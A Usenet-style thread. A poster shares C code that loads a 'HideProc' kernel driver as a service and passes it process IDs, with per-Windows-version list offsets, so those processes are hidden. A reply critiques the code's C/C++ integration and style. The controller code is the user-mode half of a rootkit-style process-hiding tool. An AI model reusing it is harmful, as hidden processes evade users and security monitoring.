[code]
#include <windows.h>
#include <stdio.h>
typedef struct _hpstruct{
UINT uPid;
UINT uFlinkOffset;
}hpstruct;
BOOL DeleteHideProcService();
UINT guOffset;
int main(){
HANDLE hFile;
DWORD dwReturn;
SC_HANDLE hSCManager;
SC_HANDLE hService;
SERVICE_STATUS ss;
char driverPath[MAX_PATH];
DeleteHideProcService();
GetSystemDirectory(driverPath, MAX_PATH);
strcat(driverPath, "\\drivers\\HideProc.sys");
CopyFile("HideProc.sys", driverPath, FALSE);
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if(hSCManager){
printf("SCManager Opened.\n");
hService = CreateService(hSCManager,
"HideProc",
"HideProc Driver",
SERVICE_START | DELETE | SERVICE_STOP,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
driverPath,
NULL,
NULL,
NULL,
NULL,
NULL);
if(!hService){
hService = OpenService(hSCManager, "HideProc",
SERVICE_START | DELETE | SERVICE_STOP);
}
if(hService){
printf("Service Opened.\n");
StartService(hService, 0, NULL);
printf("Service Started.\n\n");
hFile = CreateFile("\\\\.\\HideProc",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hFile){
hpstruct hps;
OSVERSIONINFO osvi;
BOOL bValidOS = TRUE; // Uranium-239 Bugfix
ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
if(osvi.dwPlatformId == VER_PLATFORM_WIN32_NT &&
osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1){
printf("Operating System detected: Windows XP.\n");
guOffset = 0x88;
}else if(osvi.dwPlatformId == VER_PLATFORM_WIN32_NT &&
osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0){
printf("Operating System detected: Windows 2000.\n");
guOffset = 0xA0;
}else if(osvi.dwPlatformId == VER_PLATFORM_WIN32_NT &&
osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0){
printf("Operating System detected: Windows Vista.\n");
guOffset = 0xA0;
}else{
printf("Couldn't detect Operating System, exiting...\n");
bValidOS = FALSE;
}
if(bValidOS){
while(1){
ZeroMemory(&hps, sizeof(hpstruct));
printf("Enter PID: "); scanf("%d", &hps.uPid);
hps.uFlinkOffset = guOffset;
if(!WriteFile(hFile, &hps, sizeof(hpstruct), &dwReturn, NULL)){
printf("writefile failed; error = %d\n", GetLastError());
}
printf("Press enter to hide another process or 'q' to quit.\n");
fflush(stdin);
if(getchar() == 'q') break;
}
}
CloseHandle(hFile);
}else{
printf("createfile failed; error= %d\n", GetLastError());
}
}
}
ControlService(hService, SERVICE_CONTROL_STOP, &ss);
CloseServiceHandle(hService);
DeleteService(hService);
DeleteFile(driverPath);
return 0;
}
/*
* Sometimes the service is left over in the services list.
* This function checks too see if the service is there.
* If it is, it deletes it so that the program will function
correctly.
*/
BOOL DeleteHideProcService() {
SC_HANDLE hSCManager;
SC_HANDLE hService;
hSCManager = OpenSCManager(
NULL,
NULL,
SC_MANAGER_ALL_ACCESS);
if (!hSCManager){
printf("OpenSCManager failed; error: %d\n", GetLastError());
}
hService = OpenService(hSCManager, TEXT("HideProc"), DELETE);
if (!hService){
printf("OpenService failed; error: %d\n", GetLastError());
return FALSE;
}
if (!DeleteService(hService) ) {
printf("DeleteService failed; error: %d\n", GetLastError());
return FALSE;
}else{
printf("DeleteService succeeded\n");
}
CloseServiceHandle(hService);
return TRUE;
}
[/code]
"A program written in C++ using the console window." Talking about C code in
C++ programs, the integration is typically rather easy. First thing is that
you don't compile it as C++ code but as C code. Second things is that at
the interface level, you have to declare a function like
int function(float);
for C but like
extern "C" int function(float);
for C++ to achieve the same declaration. You can use the __cplusplus macro
to detect if a piece of code is compiled as C or C++.
> #include <windows.h>
> #include <stdio.h>
>
> typedef struct _hpstruct{
Stop: you are not allowed to use globals beginning with an underscore, those
are reserved, so this isn't valid C code. Just remove the '_hpstruct'.
> BOOL DeleteHideProcService();
> UINT guOffset;
Globals are evil, but that's your problem. At the very least, I would would
make this static to reduce its scope to the current translation unit.
> int main(){
...coming to rule #3 for C integration: main() should be compiled as C++,
because often static initialisations like constructors of globals are tied
to it. Move all this to a separate function that you then call from C++'s
main().
[more code]
You should start checking for errors more consistently, I'd call that code
fragile at best, but that's your problem again.
All that said, you haven't even mentioned a single concrete problem. Usenet
and other communities doesn't work like that. If you at least try and fail,
i.e. show an effort on your own, I would help you further, but as it is
now, I'm not diving into your code any further.
Uli
--
Sator Laser GmbH
Geschäftsführer: Thorsten Föcking, Amtsgericht Hamburg HR B62 932